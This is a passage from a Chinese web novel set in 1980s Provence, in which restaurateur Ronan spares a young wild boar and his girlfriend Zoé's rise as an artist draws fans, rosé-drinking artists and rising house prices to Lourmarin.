“怎么办,怎么办?”冯珍虽然害怕,但没有忘记第一件把门锁上。 “别怕,只要它进入射程范围,我一定可以打到它。”罗南来到家里最好的射击点位。 罗天海紧张的问: “要不要给特奥他们打电话过来帮你?” 罗南冷笑一声: “特奥他们来了只会放礼炮把野猪吓回去,下次再等它出来不一定是什么时候了。” “你你你你可以吗儿子?”冯珍磕磕巴巴的问,“我听你的朋友们说,你枪法不太行啊。” 罗南自信的闭上一支眼睛瞄准: “弹无虚发。” 罗南近一年的表现让父母相信他并不是一个会说大话的人。 他说弹无虚发,那一定不会太差的。 于是他们紧张的盯着那个不速之客向他们的家靠近。 只不过这个‘臭名昭著’的家伙不像大家说的那样喜欢横冲直撞,进行速度比人散步还要慢。 终于,当它进入罗南射程范围的同时,大家也看清了它的样子。 深褐色的绒毛上沾着晨露,鼻头不停的翕动着,每闻一下眼睛上类似眉毛的东西便会跟着抖动一下,脸上沾着几根绿草,看起来‘蠢萌蠢萌’的。 “这是野猪?冯珍从罗天海的身后探出头来,想要看的真切,“怎么跟想象中的不一样啊。” 罗南的食指死死的扣在扳机上,但却没有摁下去。 这确实是野猪。 不一样是因为它还没有成年 从系统带来的知识分析,这只野猪最多只有5、6个月的样子。 罗天海也发现了不对劲: “它什么都没破坏,跟村民说的不一样。” “那怎么办啊?叫人把它抓走?”冯珍已经从恐惧的状态脱离,改为好奇。 正在两口子商量之际,突兀的枪声响起,而且一连响了三声。 “哎呀,你先别开枪啊!!”冯珍大喊。 她正要开口骂罗南太着急,见到那只野猪掉头向着密林的方向飞速跑去,很快便消失的无影无踪,像是受了极大的惊吓似的。 罗南把枪放下,没有什么情绪的说: “没打中。” 冯珍后怕似的拍了拍胸口,用微弱的声音小声念叨: “还好枪法不好.吓死我了,吓死我了。” 晚上,罗南从餐厅离开后去了路易家。 野猪风波后,他好久没和佐伊夜游了。 不过今天佐伊也没有时间和他出去,她在做一个很重要的作品——一只由玻璃和陶瓷结合的画眉。 佐伊要用这种在普罗旺斯非常常见的鸟去参加新的参会。 村里的半吊子猎人别的打不到,画眉是他们唯一能打到的东西。 “别沮丧了好吗?”听到罗南描述早上发生的‘惊险一幕’后,佐伊耐心的安慰。 罗南看着那只画眉,又想起了早上发生的事情,突然笑着说: “不啊,我一点都不沮丧,而且还挺开的呢。” “开心?”佐伊抬头问,“为什么开心?” 罗南坐到佐伊身后,把头搭到她的肩膀上: “因为我们很多事情上都很相似,我当然开心了。” 佐伊笑着拍了拍罗南的脑袋: “因为我们的枪法都很烂吗?” 罗南用力抱住佐伊,看着工作室里许许多多的动物元素,开心的说: “不止.我们一定是这世界上最般配的人!” 第226章 大明星佐伊 普罗旺斯人的打猎技术不敢恭维,但凑热闹的水平一流。 卢尔马兰附近密林里有野猪的消息在D934公路以南的小吕贝隆地区广泛传播,猎人们统统被这个距离村庄不远的打猎圣地吸引了。 每天会有3-4批专业猎人进入密林寻找野猪的踪迹,其中有2-3批人去会罗南家这个前线第一补给点寻求野餐帮助。 他们像是忠诚的护卫一样,从早到晚出现在葡萄园和密林交接处的空地上。 罗天海习惯每天早上去数一数车子,以此判断当日的防护等级: “今天来的‘护卫’多,那里停了6辆车子。” 冯珍依然没有改掉看窗外的习惯,但心态和情绪不同了: “哎希望他们能放过那个可怜的小家伙。” 但无论如何,困扰了罗南一家许久的野猪危机在这些‘护卫’出现后暂时解除了。 危机解除,罗南做的第一件事是去佐伊家把小黑和马赛接回家。 但即使危机不解除它们很难在佐伊家待下去了。 因为马赛和呼呼之间爆发了一场激烈的战争。 马赛和呼呼都属于个性鲜明的小动物。 全卢尔马兰都知道佐伊买下了一只喜欢出来溜达的小羊,但村子里无论大人和小孩都碰不到它,呼呼总是能在不经意间躲开任何想要对它下手的人。 马赛狗如其名,按罗南的话说就是心眼多,很会察言观色。 按照道理讲,它们都是聪明的小家伙,不至于无法相处,但巧就巧在它们还有一个共同的特征——爱争宠。 马赛平时在家跟小霸王一样,‘哥哥’小黑让着,‘爷爷奶奶’宠着,除了偶尔会‘逗’它的爸爸,过的一切顺心。 但到了佐伊家,莫名被羊角顶了两次后马上不服气了。 路易家的后院已然变成了‘斗兽场’,马赛和呼呼每天不打上三五次誓不罢休。 呼呼被马赛咬伤了小腿,马赛被呼呼撞肿了胳膊,战况惨烈! 散养的呼呼被迫变成了圈养,但即使这样真瘸了腿的马赛一有机会就要去羊圈跟前挑衅,气的呼呼都‘翻白眼’了。 “呼呼没事吧?它是不是病了?”佐伊满脸担忧的问。 罗南仔细查看呼呼的状态: “没病.就是气的。” 如果情绪有色彩,那么此刻方圆十米内一定是代表怨念的绛黑色,沉重到无法流动的那种。 “把它关起来就气成这样?”佐伊半信半疑的问。 罗南指着马赛的脑袋说: “它走了应该就能好,马赛太可气了,人家都关起来了,你怎么还来挑衅?” 数落完马赛,罗南安慰佐伊: “你别担心,如果之后呼呼还有什么状况随时给餐厅打电话,我马上过来。” 佐伊更疑惑了: “你现在也是‘动物’专家了?” 罗南自信的挑了下下巴: “绝对比弗雷迪靠谱。” 佐伊没有当真,只是忧心忡忡的说: “它们怎么会无法相处呢” 罗南坏笑着说: “别担心,在它们两个需要长期相处前,我一定会把这个问题解决的。” 他以后是要和佐伊结婚的,马赛和呼呼以后必须和睦相处。 罗南不允许他和佐伊之间有任何阻力!! “怎么解决?你觉得呼呼能听你的,还是马赛能听你的?”佐伊的表情无比严肃。 是她对呼呼太纵容了。 必须着手解决呼呼身上的坏毛病。 “那你就不用管了,快进去工作吧。”罗南拉起佐伊的手。 佐伊又要去参展了,但这次不是在艾克斯,而是在阿普特,她需要在10天内把那只画眉作品送过去。 而且罗南也不能在这里多停留了,马赛不离开,呼呼就不能放出来,说不定一会真被‘气死’了。 佐伊依依不舍的抓了一下罗南的手掌: “好,我中午去找你和妈妈吃饭。” 莉亚去上班后,在家里工作的佐伊吃饭没有了着落,罗南的餐厅成了她的食堂。 突然,一道清脆的‘叮铃铃铃’声传入他们的耳中。 一位四十多岁的中年男人骑着自行车来到佐伊家门前。 “特雷西,今天不是周一和周四,你怎么来了?”罗南迎上去问。 特雷西是卢尔马兰的邮差。 在交通不便的吕贝隆,邮差每周只会来送两次信,而且依然延续传统的自行车送信方式,但今天并不是邮差上班的日子。 特雷西从他的分拣箱里拿出厚厚一大摞东西,哭笑不得的说: “这两天有几十封寄给‘大艺术家’的信,我不知道这些人突然集中来信是不是有什么着急的事.所以临时来送一趟。” 特雷西也是卢尔马兰人,他弟弟的葡萄园收葡萄时罗南去帮了半天忙,所以他看到不寻常的情况发生马上把信送来了。 “几十封?” 罗南和佐伊的脑袋同时凑了过去,发现上面的落款并不是佐伊家的具体地址,只写了卢尔马兰和佐伊的名字——这说明他们不是常和佐伊有书信往来的那些人。 “怎么会有这么多陌生的人给我写信?”佐伊从特雷西手中接下它们,不解的嘟囔。 罗南想到什么,欣喜的拍了一下手: “美人鱼!美人鱼开始展览了!!” 加布里埃尔带马里尼来罗南家拜访时提起过,在图拉姆先生小女儿的成人舞会结束后,那份成人礼会放到格拉内博物馆展出十天。 在那之前,没人知道是哪个幸运儿接到了旅游大亨的委托。 罗南猜,一定是美人鱼展出的同时把作者信息也一起公布了出去,因此本就有一定小小名气的佐伊斩获了更多的粉丝。 为了确定情况,罗南首先打电话给马里尼,但他的家人告知罗南,马里尼现在人在艾克斯,无法联系上。 于是罗南又给加布里埃尔打电话。 这位和马里尼关系匪浅的糖果大王告诉罗南,佐伊的作品的确在阿普特的格拉内博物馆展出了,并且马里尼已经去看过了。 “你不知道马里尼给我打电话时语气有多激动,他说那是他近几年来看到过的最有灵气和特色的艺术品,他还说从艾克斯进修完毕要去卢尔马兰找佐伊,罗南,你一定要让佐伊帮帮马里尼啊!” 和马里尼有同样想法的人不在少数。 处理陌生朋友来信时,有许多人提出了‘拜访’的请求。 他们希望能面对面的和这位普罗旺斯‘新星’探讨艺术话题。 晚上,罗南和莉亚一起帮佐伊整理来信。 特雷西送来的信实在太多,如果只靠佐伊一个人读太耽误她的工作。 莉亚和罗南会初看一轮,如果只是表达欣赏,他们会用简短的言语告诉佐伊,在哪里有一位做什么的朋友对你表达了欣赏。 如果信中聊起了什么他们不懂的学术问题,他们会把信交给佐伊,让她给对方回信。 如果对方表达出了想要来拜访的意图,他们会把信堆放在桌子上,之后一起处理。 而看完所有的信件后,放在桌子中央代表希望见面的信居然有十几封。 “我觉得自己像是给女明星整理粉丝来信的经纪人。”莉亚放下最后一封信,难掩激动的说。 “去掉‘觉得’,我们就是给女明星整理粉丝来信的经纪人!”罗南念他手里最后一封信的内容,“我始终坚信艺术是灵魂的镜像,您的作品唤醒了公众对自然的敬畏,在当下社会下尤为珍贵,我为普罗旺斯出了一位您这样的新晋艺术家而骄傲.” 声情并茂的读完后罗南抖了抖信纸: “佐伊又多了一个狂热粉丝。” 莉亚从刚刚看过的信件里挑出一封: “这封是杂志对佐伊的采访邀请,他们希望进行一次深入访谈,内容是你对艺术理念的解读,快点答应下来啊亲爱的!” 佐伊咬着笔,对罗南和莉亚聊的话题充耳不闻,似乎在思考什么重要的事。 “不知道怎么回吗?”罗南问。 佐伊放下笔,对母亲和罗南说: “好了好了,你们的工作做完了,剩下全部是需要我回信的,你们出去吧。” 罗南开玩笑的说: “我可以帮你给粉丝回信,我可会写了!” 莉亚也跟着附和: “我可以帮你签名,听说明星身边都有专门帮他签名的人。” 佐伊笑着把他们赶出去: “不用,统统不用!我要和我的新朋友们好好交流了,你们快点出去!” 被推出门外的莉亚和罗南相视一笑。 “女明星耍大牌了!” 那之后,特雷西不断给佐伊送来大量的信件。 读信的工作也从罗南和莉亚两个人,发展成了莉亚、罗南、路易和维埃里四个人。 这几个人每过几天就要凑到一起读两三个小时的信,但信却一直没有读完的时候。 读完一批,马上会来下一批,有些粉丝实在太‘狂热’,信写的比专业论文还厚。 经常和佐伊斗嘴的维埃里现在也老实了,见到佐伊大气都不敢吭一声。 “佐伊现在是大明星了。” 不过佐伊始终坚持由她自己亲自给那些人回信,无论要回复的人再多也不找人帮忙。 某一天上午。 伊莎贝尔来后厨找罗南: “罗南,外面来了两个人找你。” 罗南停下手上的动作,抬头问: “干什么的说了吗?” 伊莎贝尔摇头,羡慕的说: “没说,不过她们打扮的特别好看,不像是吕贝隆人。” “啊?”罗南放下菜刀去前厅。 找罗南的人是两个女孩。 她们一个穿着大城市女孩才会买的好看连衣裙,头上配有样式夸张的帽子,另一个穿的像是巴黎的白领一样。 “你好,你们是?”罗南礼貌的问。 戴帽子的女孩问: “请问你是佐伊的男朋友吗?” 罗南一怔: “是的。” 那个白领打扮的人拿出一张保存完好的信纸: “不知道佐伊现在时间是否方便,可以帮忙联系她一下吗?” 罗南打开那封信,看到上面用清秀灵动的字体表达了对对方欣赏的感谢,并回复了几个学术问题,在信件结尾有这样一段话: “很期待与你们见面交流,地点就约在卢尔马兰商业街上最大的中餐厅吧,那是我男朋友罗南开的,很有特色,希望你们会喜欢那里的环境。” “我我马上给佐伊打电话。”罗南转头去收银台。 “不用,我已经来了。” 餐厅门口出现一位打扮时尚、妆容精致的美丽女人。 她上身的白色衬衣在肚脐上方打了一个结,下面是80年代法国最时尚的高腰微阔喇叭裤。 每走一步,都能吸引来好几个餐厅里顾客的视线。 “好漂亮的姑娘。” “那人像是戛纳的大明星一样.” “上帝,这身穿搭我只在杂志上见过,但模特没有她穿的好看。” 伊莎贝尔惊恐的瞪大眼睛。 不敢相信眼前这人是他们的‘老板娘’。 罗南也没做好心理准备,他从未在卢尔马兰看到佐伊打扮过。 他的女孩太漂亮了,熠熠生辉的想是明星一样! ‘大明星’佐伊路过罗南时,轻轻在他后背拍了一下,用调戏的语气笑着说: “别傻站着,我后面还约了4波人呢。” 第227章 意外的朋友 佐伊从不在卢尔马兰打扮自己。 靠着一张脸就可以‘打天下’,无需过多的修饰,而且她是个低调的人,不想引起太多村民注意。 但佐伊又是会打扮的,而且非常会打扮。 每次去艾克斯她都会摇身一变成为时尚潮人。 少女风、学院风、运动风、成熟风、朋克叛逆、文艺复兴.全都可以驾驭。 在她的衣柜里,oversize衬衣、双排扣西装、铅笔裙、金属感裹身裙、铆钉皮带、渔网手套.应有尽有。 精心打扮后的佐伊不输任何大城市的女孩,尤其身上还有着独属于她的特殊气质。 能明显看出,那两个来自大城市的女孩看到佐伊的第一反应不是见到‘偶像’的欣喜而是深深的吃惊。 这位年轻艺术家不止有才华,还有这么好的气质和外形条件吗? 这太让人意外了! 毕竟戴着厚厚眼镜、不修边幅的艺术家在普罗旺斯更为普遍。 震惊过后,是扩大了好几倍的开心。 今天一定会是一次愉快的艺术交流之旅! 佐伊今天约了几批不同的人来,罗南安排他们坐到同一片区域,只要是来找佐伊的都带到这里。 而这些搞艺术的人也很喜欢这种氛围。 艺术需要碰撞,需要交流,这正是他们所需要的艺术环境! 艺术家们交流的开心,罗南也跟着开心。 佐伊展现出了明显的‘领袖’气质,全程侃侃而谈,尽显自信本质。 有这么优秀还漂亮女朋谁能不开心呢? “罗南,你也太幸福了,卢尔马兰,不,普罗旺斯的‘璀璨明珠’被你摘回家了。” 村里每一个孩子都喜欢佐伊这个漂亮姐姐,她同时也是村里许多年轻少女的偶像,就像维埃里那个年纪的男孩视罗南为偶像一样。 见识了偶像的另一面,只有十几岁的伊莎贝尔比罗南还激动,活儿都干不下去了,一直往佐伊那个方向看。 罗南骄傲的说: “那是肯定的啊,我是这个世界上最幸福的人!” 艺术的范围很宽泛,今天来的人也不是从事同一个艺术行业的,所以聊天内容也是天南海北的。 “这家餐厅的装饰风格太独特了,在普罗旺斯从来没见过,你们见过吗?” 有人把话题引到了餐厅的装饰风格上,马上有许多人跟着‘呼应’。 “我进来时眼前一亮,没想到在卢尔马兰会有这么有特色的餐厅,这是什么风格?” “我留意那些独特的配饰许久了,那些是什么?” “朋友们,我太喜欢这里了!下次我要带画板来,这里让我灵感爆棚!” “佐伊,这里是你设计的吗?” 佐伊一本正经的脸上出现了一丝温柔,她指着在收银台和冯珍说话的罗南介绍: “餐厅是我男朋友设计的,大到桌椅、小到配饰全部是他亲手做的.其实他也算是个艺术家呢。” “真的假的?你男朋友也是艺术家吗?” “每一个都是他自己做的?!” “一个艺术家开的餐厅?上帝,这太酷了!” 有人热情的对罗南发去邀约,希望他一起加入到交流当中去。 罗南来到艺术家中间,谦虚的说: “和佐伊比我肯定算不上什么艺术家,只是一些小小的爱好,这里的装饰风格是围绕餐品设计的,有许多中式元素,就比如这个杯垫” 见罗南也能讲出不少东西,一个胖乎乎的女孩笑着说: “来吧,坐下一起聊聊你和佐伊的爱情故事,我相信那一定充斥着艺术气息。” 罗南哪懂什么艺术啊,他只懂装修的东西,而且今天的主角是佐伊: “不了不了,我还有事情要忙,你们聊吧。” 见罗南不想加入,大家也不好意思为难,但佐伊突然搂住罗南的腰,抬头挑了下眉毛: “大家好像挺喜欢粉红酒的,再帮我们拿两瓶吧。” 罗南表情复杂的看了她一眼,里面有千言万语: 你啊你,你总说我什么事都把你放到未来的规划里.你又何尝不是呢? 开个‘粉丝见面会’还在为我的事担心! 佐伊也回了罗南一个眼神,里面只有一句话: 我不担心你担心谁呢? 艺术家们果然对粉红酒的接受程度高许多。 一开始喝红葡萄酒、白葡萄酒和粉红酒的人都有。 但在佐伊的引导下,后来几乎全部喝粉红酒了。 看着这些时尚的男男女女一瓶一瓶喝粉红酒,尤其是像明星一样的佐伊时刻粉红酒杯不离手.旁边也有几桌女客人点了粉红酒,这是开业以来鲜少出现的情况。 罗南的餐厅里终于有一点点粉红酒的氛围了。 把艺术家们都送走后,佐伊开心的说: “我把所有人都约到你的餐厅了,应该可以对你有些帮助。” 罗南无论见谁都会说‘这是我和佐伊一起的餐厅,logo上两个人就是我们’,但佐伊觉得她为餐厅做的实在太少了。 没开业的时候她就在思考,还能为罗南、为餐厅做些什么。 但她不懂运营,也不会做饭,餐厅里的一切她都使不上力气。 最近罗南一直为‘粉红酒氛围’而头疼,他们两个独处的时候没少讨论这件事。 于是当有艺术家想要来见她时,佐伊的第一选择就是把他们带到罗南那里。 佐伊不确定艺术家是不是真的能解决罗南想要解决的问题,但她会尽可能多的给罗南的餐厅带去艺术家,能帮一点是一点。 罗南宠溺的在佐伊的头上摸了两下: “谢谢。” 佐伊不满的在罗南嘴上点了两下,用不容质疑的口吻说: “你的餐厅装修那么有特色,即使没有我推荐也早晚会引起艺术家们的注意.我只是把这件事提前完成了而已,有什么好谢的啊。” 罗南笑着反驳: “但你应该提前跟我说啊。” 佐伊心虚的吸了两下鼻子: “我不说还不是想给你惊喜?难道惊喜只能是男孩子给女孩子的吗?还有我做的不止是把艺术家们约到这里。” “你还做什么了?”罗南惊讶的问。 佐伊幸福的拉住罗南的胳膊,在餐厅四处打量起来: “我还把那个杂志的采访约到了你的餐厅里,你快帮我找找,用哪个背景好看,这可是我第一次接受采访,你之前是怎么回答媒体问题的?不紧张吗?” 在一个工作日的下午。 一家专门做艺术内容的杂志来到罗南的餐厅对佐伊进行采访。 其实根本不用特地找背景,餐厅的每一个角落都‘特色’满满。 这里有普罗旺斯从未有过的异域风情。 杂志社的编辑进入餐厅后赞叹连连,说这是他从业这么久来见过最不一样的餐厅。 他临时决定给罗南也加一段简短的小采访,希望他讲一下餐厅的设计理念。 这两部分内容将在该杂志同一期的不同版面登出。 罗南当然不会拒绝了。 免费的宣传手段谁会拒绝呢? 虽然是面向艺术家们的小众向杂志,但‘苍蝇再小也是肉’。 佐伊的采访内容贯彻了她的‘一贯作风’——宠夫。 在讲述自己艺术理念和作品灵感的同时,多次把话题引到了她的男朋友罗南和这家餐厅的装饰上。 她说就是在男朋友和美丽坏境的影响下,她才能做出一个个作品。 罗南当然也贯彻了他的‘一贯作风’——宠妻。 除了讲述餐厅设计理念、编织技艺和对粉红酒的狂热外,他多次把话题引到了女朋友佐伊对他的帮助和影响上。 “从我开始在集市上摆摊时佐伊就一直陪在我身边,装个装修过程她更是全程参与,没有她的鼓励和陪伴,我也不会把餐厅设计的这么好,这是真心话。” 采访完这对小情侣,编辑笑着评价: “没想到我们杂志也能和‘情感’沾边,有机会我会跟同行们推荐,让你们接受一些情感类的节目,效果应该会非常不错。” 美人鱼是在10月上旬在格拉内博物馆展出的。 10月下旬开始,罗南餐厅里和佐伊见面的艺术家逐渐增多。 有的时候佐伊甚至会空出一整天接待来拜访她的人。 艺术家之间的碰撞对佐伊的帮助非常大。 在挪出一部分时间用于社交,导致工作总时长减少的情况下,她的作品产出量居然增加了。 佐伊对此的解释是——和同行间的密集沟通让她‘灵感爆发’,每天都有许多好的想法出现,创作变得容易了。 她经常自信满满的对罗南说,觉得前途一片光明、越来越有信心了。 佐伊的发展极其顺利,但罗南却遇到比较严重的问题。 艺术家来餐厅的频率的确提高了,但他们对粉红酒的影响还是太微小。 餐厅不是每天都来艺术家,来也最多三四桌距离罗南所说的‘粉红酒氛围’还有不少的距离。 眼看十月中旬已过,阿斯特丽德女士马上就要闲下来,罗南还指望那些协会里的那些大人物给餐厅再加一把火。 他要如何让阿斯特丽德满意呢? 正当他琢磨如何提升餐厅中粉红酒的氛围时,餐厅里又来了一位‘意外的朋友。’ 一位罗南怎么也想不到的人。 “巴蒂,我的伙计,你怎么来卢尔马兰了?!” 第228章 ‘艺术家\’罗南先生 两个月不见,巴蒂体型稍微胖了一些,不像夏天看起来那么‘病态’了,不过和其他人比还是瘦了不少。 “罗南,我的朋友,你又帅了!”巴蒂兴奋的张开怀抱把罗南抱住。 罗南拍打着他的后背问: “来卢尔马兰办事?还是路过这里?” 瓦朗索勒距离卢尔马兰非常远,他不相信巴蒂是无聊溜达到这里的。 也不相信他是专程来给餐厅捧场的.如果是这个原因他应该在开业那几天来才对。 巴蒂放开罗南,踮起脚尖向餐厅里张望: “这个问题一会再说,今天有艺术家聚会吗?” 佐伊在卢尔马兰形成了一个属于自己的小艺术家圈子,有些听到消息的艺术家没有提前约时间,也会来罗南的餐厅碰碰运气.只不过这种情况不常发生。 罗南没忍住笑出声来,心想巴蒂果然一点都没变啊,哪里有热闹他就会出现在哪里。 他笑着摇头: “你来的不是时候,今天没有艺术家聚会,不过我这个‘艺术家’可以和你喝两杯,需要吗?” 巴蒂哈哈大笑的搂住罗南的肩膀: “需要,当然需要!你不知道你走了之后我有多想你啊罗南,我们今天必须好好喝几杯!” 罗南亲自带这位客人去座位: “最近来了一批不错的粉红酒,我拿给你尝尝。” 巴蒂突然停下脚步: “不着急,喝酒之前先带我参观一下你这个普罗旺斯最具特色的餐厅吧!” “怎么样?我这个‘徒弟’没有给你丢人吧?”罗南带巴蒂在餐厅转了一圈。 巴蒂认真看了每一种和编织有关的饰品元素,啧啧称奇的说: “我听说在意大利有一些餐厅,它们既是吃饭的地方,又可以作为小型展馆.我认为你这里也完全可以向那个方向发展。” 罗南的餐厅里遍布和编织有关的元素,这些东西在普罗旺斯甚至是法国都不常见,即使不吃饭也能进来看好久。 “这个.”罗南挑了一下眉毛,“这个我还真没想过,这些编织物目前就是装饰的作用。” 巴蒂笑着拍了下罗南的肩膀: “我就是想到什么说什么,现在这样已经很好了,连室外都几乎坐满了。” 10月下旬,普罗旺斯白天的气温已来到了二十度以下,阳光直射不到的地方会明显感觉到冷。 但罗南餐厅的室外区域还是有许多客人,说明顾客宁愿吹冷风也想尽快吃到食物.这是对餐厅菜品最大的肯定。 “走,我们去喝两杯。”罗南笑着带巴蒂去他的座位。 他默默把巴蒂的话记在心里。 一切对餐厅有可能有帮助的提议他都会认真采纳。 ‘艺术家们’果然需要多多交流啊,几句话就给他提供了一个新的发展思路。 坐下后,巴蒂恢复成了罗南熟悉的样子——既健谈又热情。 他开心的讲述着罗南离开瓦朗索勒后发生的事情: 附近搬来了几个陌生女邻居、又认识了哪些女艺术家、和谁一起吃了饭、现在的厨艺到了什么水平. “你给我的菜谱真的太好用了,你知道吗,以前我总是被聚会排除在外.现在因为你教的那两道菜,她们偶尔会邀请我了!”巴蒂开心的说。 见到巴蒂对吃饭的兴趣提升了,罗南也开心的说 “一会我再教你两道,未来你就有四道拿手菜了。” 巴蒂拿起杯子对罗南扬了一下: “不着急,不着急,以后有的是时间。” 罗南也举杯: “之后还会来卢尔马兰?对了,你究竟来卢尔马兰干什么,刚才还没回答我。” 巴蒂和罗南碰了一下杯: “我打算搬到卢尔马兰住一阵子。” “啊?”罗南放下酒杯疑惑的问,“你不是最爱热闹吗?” 巴蒂是一个四处为家的人,夏天他住在游客繁多的艾克斯,到了7月又追着游客去了薰衣草的故乡瓦朗索勒。 可以说他就是个游客探测器,游客去哪他去哪里。 巴蒂平摊手掌: “冬天无论去哪里都没有热闹看,普罗旺斯人冬天都忙着在家里造人,以往冬天我会去图旺山滑雪,但是去了那么多年也没有意思了。” 罗南给他倒酒,善意的提醒道: “那你也不该来卢尔马兰,这里什么都没有。” “不不不!”巴蒂用食指指桌子兴奋的说,“普罗旺斯艺术家圈都在传——卢尔马兰有一个艺术家老板开的特色餐厅,那里时常会有艺术家聚会,特别热闹。” 罗南指自己: “艺术家老板?” 上帝,这个头衔真的给他做实了吗? 巴蒂侧着脑袋问: “难道不是吗?编织技艺也属于艺术的一种啊。” 罗南笑着摇头,无奈的说: “好吧,不过聚会不是每天都有,没有你想的那么热闹。” 罗南想了一下,发现这也是好事,他成功打入‘艺术家’圈,将来营造粉红酒氛围的机会和手段就变多了。 不止是为了应付阿斯特丽德,罗南将来是真的想要做和粉红酒相关的生意。 而且,这同时也可以帮餐厅吸引来更多的顾客——每一个来的艺术家都会在餐厅消费。 佐伊是真正的艺术家,她应该聚焦到艺术本身上,不该为罗南的生意操太多心。 巴蒂突然神秘兮兮的压低身体,捂着嘴继续说道: “而且我还听到一个消息,说你的餐厅里总是有漂亮的美女出没,你知道的,我在这方面消息非常灵通。” 罗南一怔。 他倒是没有发现餐厅里美女多。 不过这确实是他宣传餐厅时使用的一个话术——说在他的餐厅里拍照会非常好看。 巴蒂坐直身子,用憧憬的语气说: “在这方面我是专业的,冬天的卢尔马兰一定会有热闹看,我发誓!以后每天我都会来你这里喝两杯。” “借你吉言。”罗南笑着喝掉了杯子里的粉红酒。 罗南把巴蒂介绍给了路易。 在卢尔马兰最棒房屋中介的帮助下,巴蒂在卢尔马兰中心租到了一所空置下来的老房子。 房东是一个德国人,他在明年夏天之前不会回卢尔马兰。 罗南以为在冬季租房子不会很贵,毕竟现在是淡季,各种方面的淡季,没想到巴蒂告诉他,在卢尔马兰租房的价格比在瓦朗索勒还要贵。 “卢尔马兰距离金三角那么近,这里的房价一直比瓦朗索勒贵。”巴蒂很有乐天精神的安慰自己。 罗南没有把这件事放在心里,毕竟影响房价的因素有许许多多。 不过很快他便察觉到,有必要好好了解一下卢尔马兰的最新房价了,因为他在一周内给路易介绍了第二个客户。 从艾克斯充电归来的马里尼决定在卢尔马兰买一所房子,但卢尔马兰的房价让罗南大吃了一惊。 “你是说,这间距离村中心2公里、占地面积约150平米的石屋需要25万法郎,而另一间有7.5亩橄榄园、占地250平米的农舍要卖到60万法郎了?”马里尼没有说什么,罗南属实吓到了。 6月份签商业街合同之前,他一直在找路易打听卢尔马兰和这附近的房价,因为他在为结婚做准备。 那个时候,类似情况的房子没有这么贵。 同样的老旧石屋,价格应该在20法郎上下。 罗南知道卢尔马兰的房价一定会涨,只是涨的这么快吗? 路易严肃的说: “这两个月来卢尔马兰看房子的人非常多,成交量也高了不少,尤其最近出现的一些特殊因素也影响了房价。” “什么特殊因素?”罗南问。 路易用似笑非笑的表情看着罗南说: “今年卢尔马兰的葡萄收成非常好,是附近几个村庄里品质最高的,农田的价值提升了,如果房屋自带葡萄园,房子的售价会更贵,如果种的还是歌海娜和西拉这几种AOC品质会贵上加贵。” 罗南差点笑出声来。 你这说的不就是我家吗?! 他强装镇定的问路易: “我那个房子,现在市场价大概有多少?” 6月份罗南最后一次询问的时候,那所农舍的价格是45-50万法郎左右。 路易开心的像是说出自己家的房价: “如果我接到这个委托,会建议你挂牌60万。” 罗南家的葡萄园比橄榄园值钱,但房子小,占地只有180平米左右,所以也是60万法郎左右的价格。 不过这价格足以让罗南欣喜若狂了。 他去年年底买房子的时候才花了20万法郎啊! 路易憋着笑继续说: “还有一个特殊因素,卢尔马兰有一条人流量很高的步行街,那附近的房子都跟着涨价了。” 罗南刚想欢呼,马上萎靡了下去。 商业街上的那房子还不是他的呢! 要赶紧存钱激活购买条款了!! 路易把目光移动到今天的主角马里尼身上: “最近卢尔马兰的房价确实涨了不少,如果介意话,我可以给你推荐周围几个村子的房源,会比卢尔马兰房价低10%-15%,或者我先带你去看看?” 马里尼语气淡淡的说: “我认为这里的房价绝对配的上这里的价值,这里是佐伊的家乡,再贵也值得!” 从艾克斯归来的马里尼成为了佐伊的头号粉丝,每次有佐伊出席的艺术家聚会他都会参加。 “我决定买下那所带橄榄园的房子,两位,以后我们就是邻居了。”马里尼轻描淡写的展现出了他的阔绰。 路易笑的合不拢嘴,因为他可以得到至少5%的佣金。 罗南也笑的合不拢嘴,因为餐厅的‘粉红酒氛围’又浓郁了一分。 这种浓郁到10月末来到了顶峰。 采访了佐伊和罗南的那本艺术杂志发行了最新一期。 霎时间,无数普罗旺斯艺术家涌入卢尔马兰,涌入了那所有太多故事可讲的特色餐厅。 罗南想要看到的‘粉红酒氛围’开始初见雏形了! 第229章 罗南你飘了呀! 以前罗南的餐厅最多只有四五桌喝粉红酒的艺术家。 现在每天在餐厅的各个角落都能看到手持粉红酒的人,最多的一天卖出去了6箱粉红酒。 吸引艺术家涌入卢尔马兰的第一个关键因素是罗南的餐厅。 仅仅是几张杂志刊登出的照片,就引来了无数对‘美学’持有浓厚兴趣的普罗旺斯艺术家。 中式风格在普罗旺斯没人了解,中国文化在1986年的法国也算是一个冷门分类。 大家全部被这家处处彰显中式元素的餐厅所吸引。 即使没有艺术家聚会,也会有慕名而来的艺术家来这里参观,他们会点上一杯粉红酒和一份甜品,在这里坐整整一个下午。 毫不夸张的说,罗南的餐厅风格是对普罗旺斯艺术界的一个小小的冲击和震撼。 在自诩不凡的普罗旺斯人的地盘上,还有他们看不明白的文化和艺术吗? 绝对值得研究! 第二个吸引艺术家来到卢尔马兰的因素是罗南这个人。 罗南在杂志的采访中不仅介绍了编织这种在中国传承了几千年的手艺,还发表了大量关于粉红酒的‘激进言论’,由此吸引来了许多和他志同道合的人。 在普罗旺斯,有许多为粉红酒鸣不公的人,这其中的不少是在思想层面不设任何界碑的艺术家们。 “酒评人?专家?那就是个屁!” 这些思想先进、大胆的人把罗南的餐厅视为了反抗‘思想束缚’的根据地,大肆狂喝粉红酒,立誓要把那些酒评人和专家气死。 而吸引来艺术家狂潮的第三个原因,也是最最关键的原因是佐伊。 佐伊毫无疑问是近期普罗旺斯艺术界最亮的星星。 她的作品有非常强烈的个人风格,还聚焦在动物和自然这一项社会话题上,尤其在制作了旅游大亨图拉姆先生的订单后,声望和名气水涨船高。 而看过杂志的艺术家们又发现,这位普罗旺斯最亮的星星还有不输于明星的优秀外形和强大的个人魅力。 可以说佐伊具备了做‘标杆领袖’的全部潜质。 ‘一个人可以改变一座城’绝不是空话。 因为佐伊生活在卢尔马兰,来这里拜访她的人不计其中,像巴蒂和马里尼那样搬来或打算搬来卢尔马兰人逐渐增多。 艺术需要氛围,艺术需要环境。 谁说普罗旺斯只能有一个‘圣雷米’呢? 罗南和佐伊这对情侣直接将路易的收入提升到了一个新的高度。 路易对维埃里的预期已经不是卢尔马兰的最佳农夫了,而是卢尔马兰最佳房产销售继承人。 他相信卢尔马兰的购房狂潮会一直持续下去! 赚钱的当然不止一个路易。 在美人鱼作品展览过后,佐伊成为了普罗旺斯二级艺术市场对于新艺术家的定价锚点。 